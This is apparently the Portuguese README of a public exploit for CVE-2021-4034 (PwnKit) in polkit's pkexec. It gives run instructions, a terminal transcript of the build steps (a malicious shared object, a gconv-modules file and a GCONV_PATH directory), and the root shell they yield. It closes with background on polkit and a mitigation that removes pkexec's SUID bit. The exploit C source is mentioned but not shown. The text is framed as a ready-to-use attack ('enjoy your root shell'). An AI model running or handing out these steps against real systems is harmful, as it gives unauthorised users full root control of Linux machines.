
Exploit para CVE-2021-4034 no polkit pkexec, fornecendo um shell de root via escalonamento de privilégios SUID. Inclui código-fonte e instruções de compilação.
exploit de escalada de privilégios do polkit
Basta executar make, ./cve-2021-4034 e aproveitar seu shell root.
O advisory original da minha equipe da Qualys aqui
Se o exploit estiver funcionando, você obterá um shell root imediatamente:
kali@user:~/CVE-2021-4034$ make
cc -Wall --shared -fPIC -o pwnkit.so pwnkit.c
cc -Wall cve-2021-4034.c -o cve-2021-4034
echo "module UTF-8// PWNKIT// pwnkit 1" > gconv-modules
mkdir -p GCONV_PATH=.
cp /usr/bin/true GCONV_PATH=./pwnkit.so:.
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
# whoami
root
# exit
Atualizar o polkit na maioria dos sistemas corrigirá o exploit, portanto você verá a mensagem de uso e o programa será encerrado:
kali@user:~/CVE-2021-4034$ ./cve-2021-4034
pkexec --version |
--help |
--disable-internal-agent |
[--user username] PROGRAM [ARGUMENTS...]
See the pkexec manual page for more details.
kali@user:~/CVE-2021-4034$
O Polkit (antigo PolicyKit) é um componente para controlar privilégios em todo o sistema em sistemas operacionais do tipo Unix. Ele fornece uma maneira organizada para processos sem privilégios se comunicarem com processos privilegiados. Também é possível usar o polkit para executar comandos com privilégios elevados usando o comando pkexec seguido do comando que se deseja executar (com permissão de root).
Se não houver patches disponíveis para o seu sistema operacional, você pode remover o bit SUID do pkexec como uma mitigação temporária.
# chmod 0755 /usr/bin/pkexec